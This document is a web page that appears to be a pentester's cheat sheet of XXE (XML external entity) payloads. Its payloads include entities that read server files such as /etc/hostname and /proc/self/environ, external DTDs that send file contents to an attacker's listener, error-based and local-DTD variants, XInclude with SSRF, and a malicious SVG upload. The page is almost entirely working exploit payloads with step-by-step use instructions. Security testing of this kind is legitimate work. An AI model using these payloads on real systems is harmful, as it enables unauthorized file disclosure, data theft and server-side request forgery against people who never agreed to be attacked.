Skip to content

XXE payloads

Check for custom entity in response

Test every data node in the request with &xxe; and check if XXEVULN appears in the response (or error message):

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE dtd [ <!ENTITY xxe "XXEVULN" > ]>
<anything>&xxe;</anything>

If this works, try to retrieve files via an external entity:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE dtd [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<anything>&xxe;</anything>

Known smaller files:

  • /etc/hostname
  • /etc/lsb-release (similar to /etc/os-release)

Interesting files:

  • /proc/self/environ
  • /proc/self/cmdline

Blind XXE: check remote interaction

Replace 127.0.0.1 with your (or your collaborator’s) IP address or hostname.

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE dtd [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/testfile" > ]>
<anything>&xxe;</anything>

You can spawn a simple HTTP server using python3 -m http.server 8080.
Alternatively: Burp Collaborator will show DNS queries so you can see if the XXE is executed.

Parameter entities may work when custom entities in the request body are blocked:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:8080/testfile"> %xxe; ]>
<anything></anything>

Exfiltrate files with external DTD

Spawn an HTTP server using python3 -m http.server 8080 and place the DTD with file name malicious.dtd there.
This DTD exfiltrates /etc/hostname from the server file system.

xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://127.0.0.1:8080/test?x=%file;'>">
%eval;
%exfiltrate;

Send your malicious XML to the server:

xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8080/malicious.dtd"> %xxe; %c;]>
<anything></anything>

You need the external DTD to dynamically declare parameter entities within other parameter entities (not possible in internal DTD). %exfiltrate is only declared when %eval is used. Declaring it directly would fail because %file is only expanded after all declarations are parsed.

Retrieve file via error message and external DTD

Works when the server reports XML parser errors.

External DTD malicious.dtd (see Exfiltrate files with external DTD):

xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///invalid/%file;'>">
%eval;
%error;

Send malicious XML to the server:

xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://127.0.0.1:8080/malicious.dtd"> %xxe;]>

The server won’t be able to find /invalid/{hostname_value} and may reveal it.

Exploiting a local DTD (error-based)

If external DTDs are blocked, it may be possible to use a DTD on the server and change an entity’s definition in the internal DTD. This loophole allows declaring encapsulated parameter entities in the internal DTD.

Identify whether the DTD is present:

xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///path/to/common.dtd">
%local_dtd;
]>

If you receive an error message "FileNotFound", keep testing until a DTD is found and no error message appears.

Send the malicious XML to the server (replacing /usr/share/yelp/dtd/docbookx.dtd with the found DTD and ISOamso with a parameter entity in the DTD):

xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/hostname">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Exploiting a local DTD with remote interaction

If the server does not allow external DTDs and doesn't show error messages, but remote interaction is possible, exfiltrate a file.

Identify local DTD (test common DTDs):

xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % remote SYSTEM "http://collaborator.ex/">
%local_dtd;
%remote;
]>

The server will send a query to collaborator.ex if the DTD exists.

Exfiltration:

Replace /usr/share/yelp/dtd/docbookx.dtd with the local DTD, ISOamso with a parameter entity in the DTD and 127.0.0.1:8080 with your IP or hostname.

xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/hostname">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;http://127.0.0.1:8080/?x=&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

XInclude

Try this if request data is processed in a server-side XML document, but the request is not in an XML format. Because the request is not in an XML format you cannot declare <!DOCTYPE ...>.

Replace any data value in the request with:

xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hostname"/></foo>

Can also be combined with SSRF:

xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="http://publicserver.ex"/></foo>&storeId=1

XXE via file upload (SVG example)

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE dtd [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="128" version="1.1" height="128"><text font-size="10" x="0" y="16">&xxe;</text></svg>

Tips

Try FTP instead of HTTP if file contents include illegal characters.

Further reading

PortSwigger Academy

Extensive payload cheat sheets

Local DTD discovery

Common DTDs